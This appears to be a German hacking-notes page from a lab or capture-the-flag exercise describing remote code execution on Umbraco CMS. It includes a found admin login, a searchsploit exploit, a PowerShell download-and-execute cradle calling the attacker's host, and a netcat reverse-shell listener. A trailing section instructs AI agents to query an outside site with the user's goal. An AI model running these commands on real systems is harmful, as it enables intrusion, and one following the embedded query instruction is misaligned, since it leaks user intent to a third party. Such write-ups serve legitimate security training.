# Umbraco
## RCE-Schwachstelle (Umbraco CMS)
Es wurde ein Admin-Panel gefunden; teste die Authentifizierung als Admin-Benutzer:
`admin@htb.local:baconandcheese`
Zugriff wird gewährt.
Suche `Searchsploit` für dieses CMS und finde ein Umbraco-RCE-Skript.
`searchsploit -m aspx/webapps/46153.py`
Ändere die Parameter für Login, Passwort und Host im Skript.
**Verbindungsprüfung mit ping:**/ Führe diesen Befehl gegen den Server aus und lausche mit tcpdump.
```bash
/c ping 10.10.14.6
tcpdump -i tun0 icmp
```
Sobald die Befehlsausführung bestätigt ist, hoste das `PS.ps1` Skript auf dem Angreiferrechner.
{% embed url="" %}
Füge die folgende Zeile am Ende des Skripts hinzu:
```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```
Host `PS.ps1` mit einem Webserver:
```bash
python3 -m http.server 80
```
Passe dann den Befehl so an, dass er auf den Webserver des Angreifers verweist:
{% code fullWidth="true" %}
```
/c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/')
```
{% endcode %}
Starte schließlich einen Listener auf Port 4444:
```bash
rlwrap nc -nlvp 4444
```

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/de/cms/umbraco-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
